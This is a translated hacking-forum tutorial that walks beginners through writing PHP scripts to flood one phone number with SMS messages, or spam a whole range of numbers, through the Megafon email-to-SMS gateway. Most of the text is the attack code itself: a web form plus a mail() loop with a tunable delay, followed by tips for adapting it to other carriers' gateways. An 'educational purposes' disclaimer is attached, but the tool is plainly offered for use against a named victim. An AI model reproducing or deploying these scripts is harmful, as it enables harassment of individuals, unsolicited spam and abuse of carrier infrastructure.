Here is the translation of this article into English

This article is written for newbies.
Hi, people. This is my first article for antichat. I’ve decided to devote it to
sms-flood and spam.. After having searched the subject here in antichat, I’ve found broken links and faulty scripts and decided to write a flooder myself. Russian
МЕГАФОНwas chosen as a victim.
Flood
First, what is flooder? As I understand flooder is the program or script which sends some amount (often large) of some information to the target (recipient).
Thus what we need to write such a flooder? Almost nothing:
- web-hosting with PHP support
- brain + “прямые руки”(не знаю такую идиому)
- google using skill
For flood we'll use SMS-gateway of the give operator.
SMS-gateway is an interface, allowing transmission or receipt of SMS-messages without use of a mobile phone. SMS-messages are transformed into e-mail, http-requests and vice versa. A message being sent through such a gateway can be free of charge for sender; however there could be some technical limitations, such as quantity limitation of sent messages from one computer per 24-hours.
As you’ve understood from the above the advanced level programmers won’t find anything new for them.
So, after you’ve chosen the hosting and understood everything, we should create
index.php page with the following content:
PHP код:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>';
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->';
echo"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>";
echo"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Number:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Message Text:<br />
<input name=\"msg\" /><br />
Amount:<br />
<input name=\"kol\" /><br />
Delay in seconds:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Let’s go...\">
</form>
<br/><br/>
<br/></div></body></html>";
?>
As you can understand from the source-code, this is a page with a transmission form, referring to our main script, which is named
sms.php:
PHP код:
<?php
$from="any@email";
$to=$_POST['to'].'@sms.mgsm.ru';
$msg=$_POST['msg'];
for($i = 0; $i < $kol; $i++)
{
mail("$to", "", "$msg", "From: $from");
sleep($zad);
}
print"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> ";
?>
Let’s look through the source-code.
At the beginning of the script we assign the variables.
$from - any email, from which the messages would be delivered.
$to - recipient, the one to be flooded. The value of this variable is the result of concatenating the “Number” value the form on index.php page and @sms.mgsm.ru. What is “@sms.mgsm.ru”? It is the SMS-gateway of MEGAFON service provider.
$msg - a variable, which contains the text to be sent.
Further there is a cycle, which task is to send a necessary amount of messages with a delay($zad variable).
mail function makes transmission to the gateway.
Now let’s talk about
sleep function. What is it for?
If we don’t use it, than the server won’t process the necessary amount of SMS in such a little time. So in order the server to have time to process all the messages we use the sleep function. In braces the duration of delay in seconds is passed. The delay duration value can depend on server workload and your internet connection speed(hosting provider connection speed). So you can play with this parameter. This script was tested with delay value
7.
Now we can test the script. Open our index.php in browser, fill the form and press the “Let’s go button”…
Now, one should take into consideration that the script
won’t be executed at once, it would be executed little by little making pause after sending every other message (approximately sending_time=Amount_of_messages x delay_time)
SPAM
What is spam? I understand spam as a mass delivery of some information to different people in various purposes. What we need to make a mass delivery:
- the same things than we needed for flooder
We should modify the sending form in
index.php. The modified fragment of code:
PHP код:
<form action="sms.php\" method=\"post\">
Number:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Message text:<br />
<input name=\"msg\" /><br />
Numbers range:<br />
From <input name=\"diapstart\" /> to <input name=\"diapfinish\" /><br />
Delay in seconds:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Let’s go...\">
</form>
And slightly modified fragment of
sms.php:
PHP код:
<?php
$from="any@email";
$to=$i.'@sms.mgsm.ru';
$msg=$_POST['msg'];
for($i = $diapstart; $i <= $diapfinish; $i++)
{
mail("$to", "", "$msg", "From: $from");
sleep($zad);
}
...
I think, everything is clear in this code. We enumerate through the numbers range and send them the SMS with specified text and delay.
This method has advantages and disadvantages:
[+]works without base, so we save traffic.
[+] in contrast to the method using bases you hit the network newcomers which are absent in bases.
[-] not all sent SMS-messages would hit, due to the numbers physical absence. However, you can select the range so that the hit probability to be high.
Conclusion
This material was written only in educational purposes and doesn’t call you to action. I’m the author of this article and if copying backlink to this article is required.
Having a little desire and some programming skills script can be modified to suit any other cell-phone operator, which uses SMS gateways. To find gateways use google. For lazy one’s
large list of gateways and
even larger list .
Inlanger ©
translated by
geezer.code